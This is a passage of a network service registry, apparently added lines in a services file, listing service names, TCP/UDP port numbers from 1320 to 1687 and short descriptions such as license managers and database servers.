1320/tcp Panja-AXBNET +panja-axbnet 1320/udp Panja-AXBNET +pip 1321/tcp PIP +pip 1321/udp PIP +novation 1322/tcp Novation +novation 1322/udp Novation +brcd 1323/tcp brcd +brcd 1323/udp brcd +delta-mcp 1324/tcp delta-mcp +delta-mcp 1324/udp delta-mcp +dx-instrument 1325/tcp DX-Instrument +dx-instrument 1325/udp DX-Instrument +wimsic 1326/tcp WIMSIC +wimsic 1326/udp WIMSIC +ultrex 1327/tcp Ultrex +ultrex 1327/udp Ultrex +ewall 1328/tcp EWALL +ewall 1328/udp EWALL +netdb-export 1329/tcp netdb-export +netdb-export 1329/udp netdb-export +streetperfect 1330/tcp StreetPerfect +streetperfect 1330/udp StreetPerfect +intersan 1331/tcp intersan +intersan 1331/udp intersan +pcia-rxp-b 1332/tcp PCIA RXP-B +pcia-rxp-b 1332/udp PCIA RXP-B +passwrd-policy 1333/tcp Password Policy +passwrd-policy 1333/udp Password Policy +writesrv 1334/tcp writesrv +writesrv 1334/udp writesrv +digital-notary 1335/tcp Digital Notary Protocol +digital-notary 1335/udp Digital Notary Protocol +ischat 1336/tcp Instant Service Chat +ischat 1336/udp Instant Service Chat +menandmice-dns 1337/tcp menandmice DNS +menandmice-dns 1337/udp menandmice DNS +wmc-log-svc 1338/tcp WMC-log-svr +wmc-log-svc 1338/udp WMC-log-svr +kjtsiteserver 1339/tcp kjtsiteserver +kjtsiteserver 1339/udp kjtsiteserver +naap 1340/tcp NAAP +naap 1340/udp NAAP +qubes 1341/tcp QuBES +qubes 1341/udp QuBES +esbroker 1342/tcp ESBroker +esbroker 1342/udp ESBroker +re101 1343/tcp re101 +re101 1343/udp re101 +icap 1344/tcp ICAP +icap 1344/udp ICAP +vpjp 1345/tcp VPJP +vpjp 1345/udp VPJP +alta-ana-lm 1346/tcp Alta Analytics License Manager +alta-ana-lm 1346/udp Alta Analytics License Manager +bbn-mmc 1347/tcp multi media conferencing +bbn-mmc 1347/udp multi media conferencing +bbn-mmx 1348/tcp multi media conferencing +bbn-mmx 1348/udp multi media conferencing +sbook 1349/tcp Registration Network Protocol +sbook 1349/udp Registration Network Protocol +editbench 1350/tcp Registration Network Protocol +editbench 1350/udp Registration Network Protocol +equationbuilder 1351/tcp Digital Tool Works (MIT) +equationbuilder 1351/udp Digital Tool Works (MIT) +lotusnote 1352/tcp Lotus Note +lotusnote 1352/udp Lotus Note +relief 1353/tcp Relief Consulting +relief 1353/udp Relief Consulting +XSIP-network 1354/tcp Five Across XSIP Network +XSIP-network 1354/udp Five Across XSIP Network +intuitive-edge 1355/tcp Intuitive Edge +intuitive-edge 1355/udp Intuitive Edge +cuillamartin 1356/tcp CuillaMartin Company +cuillamartin 1356/udp CuillaMartin Company +pegboard 1357/tcp Electronic PegBoard +pegboard 1357/udp Electronic PegBoard +connlcli 1358/tcp CONNLCLI +connlcli 1358/udp CONNLCLI +ftsrv 1359/tcp FTSRV +ftsrv 1359/udp FTSRV +mimer 1360/tcp MIMER +mimer 1360/udp MIMER +linx 1361/tcp LinX +linx 1361/udp LinX +timeflies 1362/tcp TimeFlies +timeflies 1362/udp TimeFlies +ndm-requester 1363/tcp Network DataMover Requester +ndm-requester 1363/udp Network DataMover Requester +ndm-server 1364/tcp Network DataMover Server +ndm-server 1364/udp Network DataMover Server +adapt-sna 1365/tcp Network Software Associates +adapt-sna 1365/udp Network Software Associates +netware-csp 1366/tcp Novell NetWare Comm Service Platform +netware-csp 1366/udp Novell NetWare Comm Service Platform +dcs 1367/tcp DCS +dcs 1367/udp DCS +screencast 1368/tcp ScreenCast +screencast 1368/udp ScreenCast +gv-us 1369/tcp GlobalView to Unix Shell +gv-us 1369/udp GlobalView to Unix Shell +us-gv 1370/tcp Unix Shell to GlobalView +us-gv 1370/udp Unix Shell to GlobalView +fc-cli 1371/tcp Fujitsu Config Protocol +fc-cli 1371/udp Fujitsu Config Protocol +fc-ser 1372/tcp Fujitsu Config Protocol +fc-ser 1372/udp Fujitsu Config Protocol +chromagrafx 1373/tcp Chromagrafx +chromagrafx 1373/udp Chromagrafx +molly 1374/tcp EPI Software Systems +molly 1374/udp EPI Software Systems +bytex 1375/tcp Bytex +bytex 1375/udp Bytex +ibm-pps 1376/tcp IBM Person to Person Software +ibm-pps 1376/udp IBM Person to Person Software +cichlid 1377/tcp Cichlid License Manager +cichlid 1377/udp Cichlid License Manager +elan 1378/tcp Elan License Manager +elan 1378/udp Elan License Manager +dbreporter 1379/tcp Integrity Solutions +dbreporter 1379/udp Integrity Solutions +telesis-licman 1380/tcp Telesis Network License Manager +telesis-licman 1380/udp Telesis Network License Manager +apple-licman 1381/tcp Apple Network License Manager +apple-licman 1381/udp Apple Network License Manager +udt_os 1382/tcp udt_os +udt_os 1382/udp udt_os +gwha 1383/tcp GW Hannaway Network License Manager +gwha 1383/udp GW Hannaway Network License Manager +os-licman 1384/tcp Objective Solutions License Manager +os-licman 1384/udp Objective Solutions License Manager +atex_elmd 1385/tcp Atex Publishing License Manager +atex_elmd 1385/udp Atex Publishing License Manager +checksum 1386/tcp CheckSum License Manager +checksum 1386/udp CheckSum License Manager +cadsi-lm 1387/tcp Computer Aided Design Software Inc LM +cadsi-lm 1387/udp Computer Aided Design Software Inc LM +objective-dbc 1388/tcp Objective Solutions DataBase Cache +objective-dbc 1388/udp Objective Solutions DataBase Cache +iclpv-dm 1389/tcp Document Manager +iclpv-dm 1389/udp Document Manager +iclpv-sc 1390/tcp Storage Controller +iclpv-sc 1390/udp Storage Controller +iclpv-sas 1391/tcp Storage Access Server +iclpv-sas 1391/udp Storage Access Server +iclpv-pm 1392/tcp Print Manager +iclpv-pm 1392/udp Print Manager +iclpv-nls 1393/tcp Network Log Server +iclpv-nls 1393/udp Network Log Server +iclpv-nlc 1394/tcp Network Log Client +iclpv-nlc 1394/udp Network Log Client +iclpv-wsm 1395/tcp PC Workstation Manager software +iclpv-wsm 1395/udp PC Workstation Manager software +dvl-activemail 1396/tcp DVL Active Mail +dvl-activemail 1396/udp DVL Active Mail +audio-activmail 1397/tcp Audio Active Mail +audio-activmail 1397/udp Audio Active Mail +video-activmail 1398/tcp Video Active Mail +video-activmail 1398/udp Video Active Mail +cadkey-licman 1399/tcp Cadkey License Manager +cadkey-licman 1399/udp Cadkey License Manager +cadkey-tablet 1400/tcp Cadkey Tablet Daemon +cadkey-tablet 1400/udp Cadkey Tablet Daemon +goldleaf-licman 1401/tcp Goldleaf License Manager +goldleaf-licman 1401/udp Goldleaf License Manager +prm-sm-np 1402/tcp Prospero Resource Manager +prm-sm-np 1402/udp Prospero Resource Manager +prm-nm-np 1403/tcp Prospero Resource Manager +prm-nm-np 1403/udp Prospero Resource Manager +igi-lm 1404/tcp Infinite Graphics License Manager +igi-lm 1404/udp Infinite Graphics License Manager +ibm-res 1405/tcp IBM Remote Execution Starter +ibm-res 1405/udp IBM Remote Execution Starter +netlabs-lm 1406/tcp NetLabs License Manager +netlabs-lm 1406/udp NetLabs License Manager +dbsa-lm 1407/tcp DBSA License Manager +dbsa-lm 1407/udp DBSA License Manager +sophia-lm 1408/tcp Sophia License Manager +sophia-lm 1408/udp Sophia License Manager +here-lm 1409/tcp Here License Manager +here-lm 1409/udp Here License Manager +hiq 1410/tcp HiQ License Manager +hiq 1410/udp HiQ License Manager +af 1411/tcp AudioFile +af 1411/udp AudioFile +innosys 1412/tcp InnoSys +innosys 1412/udp InnoSys +innosys-acl 1413/tcp Innosys-ACL +innosys-acl 1413/udp Innosys-ACL +ibm-mqseries 1414/tcp IBM MQSeries +ibm-mqseries 1414/udp IBM MQSeries +dbstar 1415/tcp DBStar +dbstar 1415/udp DBStar +novell-lu6.2 1416/tcp Novell LU6.2 +novell-lu6.2 1416/udp Novell LU6.2 +timbuktu-srv1 1417/tcp Timbuktu Service 1 Port +timbuktu-srv1 1417/udp Timbuktu Service 1 Port +timbuktu-srv2 1418/tcp Timbuktu Service 2 Port +timbuktu-srv2 1418/udp Timbuktu Service 2 Port +timbuktu-srv3 1419/tcp Timbuktu Service 3 Port +timbuktu-srv3 1419/udp Timbuktu Service 3 Port +timbuktu-srv4 1420/tcp Timbuktu Service 4 Port +timbuktu-srv4 1420/udp Timbuktu Service 4 Port +gandalf-lm 1421/tcp Gandalf License Manager +gandalf-lm 1421/udp Gandalf License Manager +autodesk-lm 1422/tcp Autodesk License Manager +autodesk-lm 1422/udp Autodesk License Manager +essbase 1423/tcp Essbase Arbor Software +essbase 1423/udp Essbase Arbor Software +hybrid 1424/tcp Hybrid Encryption Protocol +hybrid 1424/udp Hybrid Encryption Protocol +zion-lm 1425/tcp Zion Software License Manager +zion-lm 1425/udp Zion Software License Manager +sais 1426/tcp Satellite-data Acquisition System 1 +sais 1426/udp Satellite-data Acquisition System 1 +mloadd 1427/tcp mloadd monitoring tool +mloadd 1427/udp mloadd monitoring tool +informatik-lm 1428/tcp Informatik License Manager +informatik-lm 1428/udp Informatik License Manager +nms 1429/tcp Hypercom NMS +nms 1429/udp Hypercom NMS +tpdu 1430/tcp Hypercom TPDU +tpdu 1430/udp Hypercom TPDU +rgtp 1431/tcp Reverse Gossip Transport +rgtp 1431/udp Reverse Gossip Transport +blueberry-lm 1432/tcp Blueberry Software License Manager +blueberry-lm 1432/udp Blueberry Software License Manager +ms-sql-s 1433/tcp Microsoft-SQL-Server +ms-sql-s 1433/udp Microsoft-SQL-Server +ms-sql-m 1434/tcp Microsoft-SQL-Monitor +ms-sql-m 1434/udp Microsoft-SQL-Monitor +ibm-cics 1435/tcp IBM CICS +ibm-cics 1435/udp IBM CICS +saism 1436/tcp Satellite-data Acquisition System 2 +saism 1436/udp Satellite-data Acquisition System 2 +tabula 1437/tcp Tabula +tabula 1437/udp Tabula +eicon-server 1438/tcp Eicon Security Agent/Server +eicon-server 1438/udp Eicon Security Agent/Server +eicon-x25 1439/tcp Eicon X25/SNA Gateway +eicon-x25 1439/udp Eicon X25/SNA Gateway +eicon-slp 1440/tcp Eicon Service Location Protocol +eicon-slp 1440/udp Eicon Service Location Protocol +cadis-1 1441/tcp Cadis License Management +cadis-1 1441/udp Cadis License Management +cadis-2 1442/tcp Cadis License Management +cadis-2 1442/udp Cadis License Management +ies-lm 1443/tcp Integrated Engineering Software +ies-lm 1443/udp Integrated Engineering Software +marcam-lm 1444/tcp Marcam License Management +marcam-lm 1444/udp Marcam License Management +proxima-lm 1445/tcp Proxima License Manager +proxima-lm 1445/udp Proxima License Manager +ora-lm 1446/tcp Optical Research Associates License Manager +ora-lm 1446/udp Optical Research Associates License Manager +apri-lm 1447/tcp Applied Parallel Research LM +apri-lm 1447/udp Applied Parallel Research LM +oc-lm 1448/tcp OpenConnect License Manager +oc-lm 1448/udp OpenConnect License Manager +peport 1449/tcp PEport +peport 1449/udp PEport +dwf 1450/tcp Tandem Distributed Workbench Facility +dwf 1450/udp Tandem Distributed Workbench Facility +infoman 1451/tcp IBM Information Management +infoman 1451/udp IBM Information Management +gtegsc-lm 1452/tcp GTE Government Systems License Man +gtegsc-lm 1452/udp GTE Government Systems License Man +genie-lm 1453/tcp Genie License Manager +genie-lm 1453/udp Genie License Manager +interhdl_elmd 1454/tcp interHDL License Manager +interhdl_elmd 1454/udp interHDL License Manager +esl-lm 1455/tcp ESL License Manager +esl-lm 1455/udp ESL License Manager +dca 1456/tcp DCA +dca 1456/udp DCA +valisys-lm 1457/tcp Valisys License Manager +valisys-lm 1457/udp Valisys License Manager +nrcabq-lm 1458/tcp Nichols Research Corp. +nrcabq-lm 1458/udp Nichols Research Corp. +proshare1 1459/tcp Proshare Notebook Application +proshare1 1459/udp Proshare Notebook Application +proshare2 1460/tcp Proshare Notebook Application +proshare2 1460/udp Proshare Notebook Application +ibm_wrless_lan 1461/tcp IBM Wireless LAN +ibm_wrless_lan 1461/udp IBM Wireless LAN +world-lm 1462/tcp World License Manager +world-lm 1462/udp World License Manager +nucleus 1463/tcp Nucleus +nucleus 1463/udp Nucleus +msl_lmd 1464/tcp MSL License Manager +msl_lmd 1464/udp MSL License Manager +pipes 1465/tcp Pipes Platform +pipes 1465/udp Pipes Platform mfarlin@peerlogic.com +oceansoft-lm 1466/tcp Ocean Software License Manager +oceansoft-lm 1466/udp Ocean Software License Manager +csdmbase 1467/tcp CSDMBASE +csdmbase 1467/udp CSDMBASE +csdm 1468/tcp CSDM +csdm 1468/udp CSDM +aal-lm 1469/tcp Active Analysis Limited License Manager +aal-lm 1469/udp Active Analysis Limited License Manager +uaiact 1470/tcp Universal Analytics +uaiact 1470/udp Universal Analytics +csdmbase 1471/tcp csdmbase +csdmbase 1471/udp csdmbase +csdm 1472/tcp csdm +csdm 1472/udp csdm +openmath 1473/tcp OpenMath +openmath 1473/udp OpenMath +telefinder 1474/tcp Telefinder +telefinder 1474/udp Telefinder +taligent-lm 1475/tcp Taligent License Manager +taligent-lm 1475/udp Taligent License Manager +clvm-cfg 1476/tcp clvm-cfg +clvm-cfg 1476/udp clvm-cfg +ms-sna-server 1477/tcp ms-sna-server +ms-sna-server 1477/udp ms-sna-server +ms-sna-base 1478/tcp ms-sna-base +ms-sna-base 1478/udp ms-sna-base +dberegister 1479/tcp dberegister +dberegister 1479/udp dberegister +pacerforum 1480/tcp PacerForum +pacerforum 1480/udp PacerForum +airs 1481/tcp AIRS +airs 1481/udp AIRS +miteksys-lm 1482/tcp Miteksys License Manager +miteksys-lm 1482/udp Miteksys License Manager +afs 1483/tcp AFS License Manager +afs 1483/udp AFS License Manager +confluent 1484/tcp Confluent License Manager +confluent 1484/udp Confluent License Manager +lansource 1485/tcp LANSource +lansource 1485/udp LANSource +nms_topo_serv 1486/tcp nms_topo_serv +nms_topo_serv 1486/udp nms_topo_serv +localinfosrvr 1487/tcp LocalInfoSrvr +localinfosrvr 1487/udp LocalInfoSrvr +docstor 1488/tcp DocStor +docstor 1488/udp DocStor +dmdocbroker 1489/tcp dmdocbroker +dmdocbroker 1489/udp dmdocbroker +insitu-conf 1490/tcp insitu-conf +insitu-conf 1490/udp insitu-conf +anynetgateway 1491/tcp anynetgateway +anynetgateway 1491/udp anynetgateway +stone-design-1 1492/tcp stone-design-1 +stone-design-1 1492/udp stone-design-1 +netmap_lm 1493/tcp netmap_lm +netmap_lm 1493/udp netmap_lm +ica 1494/tcp ica +ica 1494/udp ica +cvc 1495/tcp cvc +cvc 1495/udp cvc +liberty-lm 1496/tcp liberty-lm +liberty-lm 1496/udp liberty-lm +rfx-lm 1497/tcp rfx-lm +rfx-lm 1497/udp rfx-lm +sybase-sqlany 1498/tcp Sybase SQL Any +sybase-sqlany 1498/udp Sybase SQL Any +fhc 1499/tcp Federico Heinz Consultora +fhc 1499/udp Federico Heinz Consultora +vlsi-lm 1500/tcp VLSI License Manager +vlsi-lm 1500/udp VLSI License Manager +saiscm 1501/tcp Satellite-data Acquisition System 3 +saiscm 1501/udp Satellite-data Acquisition System 3 +shivadiscovery 1502/tcp Shiva +shivadiscovery 1502/udp Shiva +imtc-mcs 1503/tcp Databeam +imtc-mcs 1503/udp Databeam +evb-elm 1504/tcp EVB Software Engineering License Manager +evb-elm 1504/udp EVB Software Engineering License Manager +funkproxy 1505/tcp Funk Software, Inc. +funkproxy 1505/udp Funk Software, Inc. +utcd 1506/tcp Universal Time daemon (utcd) +utcd 1506/udp Universal Time daemon (utcd) +symplex 1507/tcp symplex +symplex 1507/udp symplex +diagmond 1508/tcp diagmond +diagmond 1508/udp diagmond +robcad-lm 1509/tcp Robcad, Ltd. License Manager +robcad-lm 1509/udp Robcad, Ltd. License Manager +mvx-lm 1510/tcp Midland Valley Exploration Ltd. Lic. Man. +mvx-lm 1510/udp Midland Valley Exploration Ltd. Lic. Man. +3l-l1 1511/tcp 3l-l1 +3l-l1 1511/udp 3l-l1 +wins 1512/tcp Microsoft's Windows Internet Name Service +wins 1512/udp Microsoft's Windows Internet Name Service +fujitsu-dtc 1513/tcp Fujitsu Systems Business of America, Inc +fujitsu-dtc 1513/udp Fujitsu Systems Business of America, Inc +fujitsu-dtcns 1514/tcp Fujitsu Systems Business of America, Inc +fujitsu-dtcns 1514/udp Fujitsu Systems Business of America, Inc +ifor-protocol 1515/tcp ifor-protocol +ifor-protocol 1515/udp ifor-protocol +vpad 1516/tcp Virtual Places Audio data +vpad 1516/udp Virtual Places Audio data +vpac 1517/tcp Virtual Places Audio control +vpac 1517/udp Virtual Places Audio control +vpvd 1518/tcp Virtual Places Video data +vpvd 1518/udp Virtual Places Video data +vpvc 1519/tcp Virtual Places Video control +vpvc 1519/udp Virtual Places Video control +atm-zip-office 1520/tcp atm zip office +atm-zip-office 1520/udp atm zip office +ncube-lm 1521/tcp nCube License Manager +ncube-lm 1521/udp nCube License Manager +ricardo-lm 1522/tcp Ricardo North America License Manager +ricardo-lm 1522/udp Ricardo North America License Manager +cichild-lm 1523/tcp cichild +cichild-lm 1523/udp cichild +ingreslock 1524/tcp ingres +ingreslock 1524/udp ingres +orasrv 1525/tcp oracle +orasrv 1525/udp oracle +prospero-np 1525/tcp Prospero Directory Service non-priv +prospero-np 1525/udp Prospero Directory Service non-priv +pdap-np 1526/tcp Prospero Data Access Prot non-priv +pdap-np 1526/udp Prospero Data Access Prot non-priv +tlisrv 1527/tcp oracle +tlisrv 1527/udp oracle +mciautoreg 1528/tcp micautoreg +mciautoreg 1528/udp micautoreg +coauthor 1529/tcp oracle +coauthor 1529/udp oracle +rap-service 1530/tcp rap-service +rap-service 1530/udp rap-service +rap-listen 1531/tcp rap-listen +rap-listen 1531/udp rap-listen +miroconnect 1532/tcp miroconnect +miroconnect 1532/udp miroconnect +virtual-places 1533/tcp Virtual Places Software +virtual-places 1533/udp Virtual Places Software +micromuse-lm 1534/tcp micromuse-lm +micromuse-lm 1534/udp micromuse-lm +ampr-info 1535/tcp ampr-info +ampr-info 1535/udp ampr-info +ampr-inter 1536/tcp ampr-inter +ampr-inter 1536/udp ampr-inter +sdsc-lm 1537/tcp isi-lm +sdsc-lm 1537/udp isi-lm +3ds-lm 1538/tcp 3ds-lm +3ds-lm 1538/udp 3ds-lm +intellistor-lm 1539/tcp Intellistor License Manager +intellistor-lm 1539/udp Intellistor License Manager +rds 1540/tcp rds +rds 1540/udp rds +rds2 1541/tcp rds2 +rds2 1541/udp rds2 +gridgen-elmd 1542/tcp gridgen-elmd +gridgen-elmd 1542/udp gridgen-elmd +simba-cs 1543/tcp simba-cs +simba-cs 1543/udp simba-cs +aspeclmd 1544/tcp aspeclmd +aspeclmd 1544/udp aspeclmd +vistium-share 1545/tcp vistium-share +vistium-share 1545/udp vistium-share +abbaccuray 1546/tcp abbaccuray +abbaccuray 1546/udp abbaccuray +laplink 1547/tcp laplink +laplink 1547/udp laplink +axon-lm 1548/tcp Axon License Manager +axon-lm 1548/udp Axon License Manager +shivahose 1549/tcp Shiva Hose +shivasound 1549/udp Shiva Sound +3m-image-lm 1550/tcp Image Storage license manager 3M Company +3m-image-lm 1550/udp Image Storage license manager 3M Company +hecmtl-db 1551/tcp HECMTL-DB +hecmtl-db 1551/udp HECMTL-DB +pciarray 1552/tcp pciarray +pciarray 1552/udp pciarray +sna-cs 1553/tcp sna-cs +sna-cs 1553/udp sna-cs +caci-lm 1554/tcp CACI Products Company License Manager +caci-lm 1554/udp CACI Products Company License Manager +livelan 1555/tcp livelan +livelan 1555/udp livelan +veritas_pbx 1556/tcp VERITAS Private Branch Exchange +veritas_pbx 1556/udp VERITAS Private Branch Exchange +arbortext-lm 1557/tcp ArborText License Manager +arbortext-lm 1557/udp ArborText License Manager +xingmpeg 1558/tcp xingmpeg +xingmpeg 1558/udp xingmpeg +web2host 1559/tcp web2host +web2host 1559/udp web2host +asci-val 1560/tcp ASCI-RemoteSHADOW +asci-val 1560/udp ASCI-RemoteSHADOW +facilityview 1561/tcp facilityview +facilityview 1561/udp facilityview +pconnectmgr 1562/tcp pconnectmgr +pconnectmgr 1562/udp pconnectmgr +cadabra-lm 1563/tcp Cadabra License Manager +cadabra-lm 1563/udp Cadabra License Manager +pay-per-view 1564/tcp Pay-Per-View +pay-per-view 1564/udp Pay-Per-View +winddlb 1565/tcp WinDD +winddlb 1565/udp WinDD +corelvideo 1566/tcp CORELVIDEO +corelvideo 1566/udp CORELVIDEO +jlicelmd 1567/tcp jlicelmd +jlicelmd 1567/udp jlicelmd +tsspmap 1568/tcp tsspmap +tsspmap 1568/udp tsspmap +ets 1569/tcp ets +ets 1569/udp ets +orbixd 1570/tcp orbixd +orbixd 1570/udp orbixd +rdb-dbs-disp 1571/tcp Oracle Remote Data Base +rdb-dbs-disp 1571/udp Oracle Remote Data Base +chip-lm 1572/tcp Chipcom License Manager +chip-lm 1572/udp Chipcom License Manager +itscomm-ns 1573/tcp itscomm-ns +itscomm-ns 1573/udp itscomm-ns +mvel-lm 1574/tcp mvel-lm +mvel-lm 1574/udp mvel-lm +oraclenames 1575/tcp oraclenames +oraclenames 1575/udp oraclenames +moldflow-lm 1576/tcp moldflow-lm +moldflow-lm 1576/udp moldflow-lm +hypercube-lm 1577/tcp hypercube-lm +hypercube-lm 1577/udp hypercube-lm +jacobus-lm 1578/tcp Jacobus License Manager +jacobus-lm 1578/udp Jacobus License Manager +ioc-sea-lm 1579/tcp ioc-sea-lm +ioc-sea-lm 1579/udp ioc-sea-lm +tn-tl-r1 1580/tcp tn-tl-r1 +tn-tl-r2 1580/udp tn-tl-r2 +mil-2045-47001 1581/tcp MIL-2045-47001 +mil-2045-47001 1581/udp MIL-2045-47001 +msims 1582/tcp MSIMS +msims 1582/udp MSIMS +simbaexpress 1583/tcp simbaexpress +simbaexpress 1583/udp simbaexpress +tn-tl-fd2 1584/tcp tn-tl-fd2 +tn-tl-fd2 1584/udp tn-tl-fd2 +intv 1585/tcp intv +intv 1585/udp intv +ibm-abtact 1586/tcp ibm-abtact +ibm-abtact 1586/udp ibm-abtact +pra_elmd 1587/tcp pra_elmd +pra_elmd 1587/udp pra_elmd +triquest-lm 1588/tcp triquest-lm +triquest-lm 1588/udp triquest-lm +vqp 1589/tcp VQP +vqp 1589/udp VQP +gemini-lm 1590/tcp gemini-lm +gemini-lm 1590/udp gemini-lm +ncpm-pm 1591/tcp ncpm-pm +ncpm-pm 1591/udp ncpm-pm +commonspace 1592/tcp commonspace +commonspace 1592/udp commonspace +mainsoft-lm 1593/tcp mainsoft-lm +mainsoft-lm 1593/udp mainsoft-lm +sixtrak 1594/tcp sixtrak +sixtrak 1594/udp sixtrak +radio 1595/tcp radio +radio 1595/udp radio +radio-sm 1596/tcp radio-sm +radio-bc 1596/udp radio-bc +orbplus-iiop 1597/tcp orbplus-iiop +orbplus-iiop 1597/udp orbplus-iiop +picknfs 1598/tcp picknfs +picknfs 1598/udp picknfs +simbaservices 1599/tcp simbaservices +simbaservices 1599/udp simbaservices +issd 1600/tcp +issd 1600/udp +aas 1601/tcp aas +aas 1601/udp aas +inspect 1602/tcp inspect +inspect 1602/udp inspect +picodbc 1603/tcp pickodbc +picodbc 1603/udp pickodbc +icabrowser 1604/tcp icabrowser +icabrowser 1604/udp icabrowser +slp 1605/tcp Salutation Manager (Salutation Protocol) +slp 1605/udp Salutation Manager (Salutation Protocol) +slm-api 1606/tcp Salutation Manager (SLM-API) +slm-api 1606/udp Salutation Manager (SLM-API) +stt 1607/tcp stt +stt 1607/udp stt +smart-lm 1608/tcp Smart Corp. License Manager +smart-lm 1608/udp Smart Corp. License Manager +isysg-lm 1609/tcp isysg-lm +isysg-lm 1609/udp isysg-lm +taurus-wh 1610/tcp taurus-wh +taurus-wh 1610/udp taurus-wh +ill 1611/tcp Inter Library Loan +ill 1611/udp Inter Library Loan +netbill-trans 1612/tcp NetBill Transaction Server +netbill-trans 1612/udp NetBill Transaction Server +netbill-keyrep 1613/tcp NetBill Key Repository +netbill-keyrep 1613/udp NetBill Key Repository +netbill-cred 1614/tcp NetBill Credential Server +netbill-cred 1614/udp NetBill Credential Server +netbill-auth 1615/tcp NetBill Authorization Server +netbill-auth 1615/udp NetBill Authorization Server +netbill-prod 1616/tcp NetBill Product Server +netbill-prod 1616/udp NetBill Product Server +nimrod-agent 1617/tcp Nimrod Inter-Agent Communication +nimrod-agent 1617/udp Nimrod Inter-Agent Communication +skytelnet 1618/tcp skytelnet +skytelnet 1618/udp skytelnet +xs-openstorage 1619/tcp xs-openstorage +xs-openstorage 1619/udp xs-openstorage +faxportwinport 1620/tcp faxportwinport +faxportwinport 1620/udp faxportwinport +softdataphone 1621/tcp softdataphone +softdataphone 1621/udp softdataphone +ontime 1622/tcp ontime +ontime 1622/udp ontime +jaleosnd 1623/tcp jaleosnd +jaleosnd 1623/udp jaleosnd +udp-sr-port 1624/tcp udp-sr-port +udp-sr-port 1624/udp udp-sr-port +svs-omagent 1625/tcp svs-omagent +svs-omagent 1625/udp svs-omagent +shockwave 1626/tcp Shockwave +shockwave 1626/udp Shockwave +t128-gateway 1627/tcp T.128 Gateway +t128-gateway 1627/udp T.128 Gateway +lontalk-norm 1628/tcp LonTalk normal +lontalk-norm 1628/udp LonTalk normal +lontalk-urgnt 1629/tcp LonTalk urgent +lontalk-urgnt 1629/udp LonTalk urgent +oraclenet8cman 1630/tcp Oracle Net8 Cman +oraclenet8cman 1630/udp Oracle Net8 Cman +visitview 1631/tcp Visit view +visitview 1631/udp Visit view +pammratc 1632/tcp PAMMRATC +pammratc 1632/udp PAMMRATC +pammrpc 1633/tcp PAMMRPC +pammrpc 1633/udp PAMMRPC +loaprobe 1634/tcp Log On America Probe +loaprobe 1634/udp Log On America Probe +edb-server1 1635/tcp EDB Server 1 +edb-server1 1635/udp EDB Server 1 +cncp 1636/tcp CableNet Control Protocol +cncp 1636/udp CableNet Control Protocol +cnap 1637/tcp CableNet Admin Protocol +cnap 1637/udp CableNet Admin Protocol +cnip 1638/tcp CableNet Info Protocol +cnip 1638/udp CableNet Info Protocol +cert-initiator 1639/tcp cert-initiator +cert-initiator 1639/udp cert-initiator +cert-responder 1640/tcp cert-responder +cert-responder 1640/udp cert-responder +invision 1641/tcp InVision +invision 1641/udp InVision +isis-am 1642/tcp isis-am +isis-am 1642/udp isis-am +isis-ambc 1643/tcp isis-ambc +isis-ambc 1643/udp isis-ambc +saiseh 1644/tcp Satellite-data Acquisition System 4 +sightline 1645/tcp SightLine +sightline 1645/udp SightLine +sa-msg-port 1646/tcp sa-msg-port +sa-msg-port 1646/udp sa-msg-port +rsap 1647/tcp rsap +rsap 1647/udp rsap +concurrent-lm 1648/tcp concurrent-lm +concurrent-lm 1648/udp concurrent-lm +kermit 1649/tcp kermit +kermit 1649/udp kermit +nkd 1650/tcp nkdn +nkd 1650/udp nkd +shiva_confsrvr 1651/tcp shiva_confsrvr +shiva_confsrvr 1651/udp shiva_confsrvr +xnmp 1652/tcp xnmp +xnmp 1652/udp xnmp +alphatech-lm 1653/tcp alphatech-lm +alphatech-lm 1653/udp alphatech-lm +stargatealerts 1654/tcp stargatealerts +stargatealerts 1654/udp stargatealerts +dec-mbadmin 1655/tcp dec-mbadmin +dec-mbadmin 1655/udp dec-mbadmin +dec-mbadmin-h 1656/tcp dec-mbadmin-h +dec-mbadmin-h 1656/udp dec-mbadmin-h +fujitsu-mmpdc 1657/tcp fujitsu-mmpdc +fujitsu-mmpdc 1657/udp fujitsu-mmpdc +sixnetudr 1658/tcp sixnetudr +sixnetudr 1658/udp sixnetudr +sg-lm 1659/tcp Silicon Grail License Manager +sg-lm 1659/udp Silicon Grail License Manager +skip-mc-gikreq 1660/tcp skip-mc-gikreq +skip-mc-gikreq 1660/udp skip-mc-gikreq +netview-aix-1 1661/tcp netview-aix-1 +netview-aix-1 1661/udp netview-aix-1 +netview-aix-2 1662/tcp netview-aix-2 +netview-aix-2 1662/udp netview-aix-2 +netview-aix-3 1663/tcp netview-aix-3 +netview-aix-3 1663/udp netview-aix-3 +netview-aix-4 1664/tcp netview-aix-4 +netview-aix-4 1664/udp netview-aix-4 +netview-aix-5 1665/tcp netview-aix-5 +netview-aix-5 1665/udp netview-aix-5 +netview-aix-6 1666/tcp netview-aix-6 +netview-aix-6 1666/udp netview-aix-6 +netview-aix-7 1667/tcp netview-aix-7 +netview-aix-7 1667/udp netview-aix-7 +netview-aix-8 1668/tcp netview-aix-8 +netview-aix-8 1668/udp netview-aix-8 +netview-aix-9 1669/tcp netview-aix-9 +netview-aix-9 1669/udp netview-aix-9 +netview-aix-10 1670/tcp netview-aix-10 +netview-aix-10 1670/udp netview-aix-10 +netview-aix-11 1671/tcp netview-aix-11 +netview-aix-11 1671/udp netview-aix-11 +netview-aix-12 1672/tcp netview-aix-12 +netview-aix-12 1672/udp netview-aix-12 +proshare-mc-1 1673/tcp Intel Proshare Multicast +proshare-mc-1 1673/udp Intel Proshare Multicast +proshare-mc-2 1674/tcp Intel Proshare Multicast +proshare-mc-2 1674/udp Intel Proshare Multicast +pdp 1675/tcp Pacific Data Products +pdp 1675/udp Pacific Data Products +netcomm1 1676/tcp netcomm1 +netcomm2 1676/udp netcomm2 +groupwise 1677/tcp groupwise +groupwise 1677/udp groupwise +prolink 1678/tcp prolink +prolink 1678/udp prolink +darcorp-lm 1679/tcp darcorp-lm +darcorp-lm 1679/udp darcorp-lm +microcom-sbp 1680/tcp microcom-sbp +microcom-sbp 1680/udp microcom-sbp +sd-elmd 1681/tcp sd-elmd +sd-elmd 1681/udp sd-elmd +lanyon-lantern 1682/tcp lanyon-lantern +lanyon-lantern 1682/udp lanyon-lantern +ncpm-hip 1683/tcp ncpm-hip +ncpm-hip 1683/udp ncpm-hip +snaresecure 1684/tcp SnareSecure +snaresecure 1684/udp SnareSecure +n2nremote 1685/tcp n2nremote +n2nremote 1685/udp n2nremote +cvmon 1686/tcp cvmon +cvmon 1686/udp cvmon +nsjtp-ctrl 1687/tcp 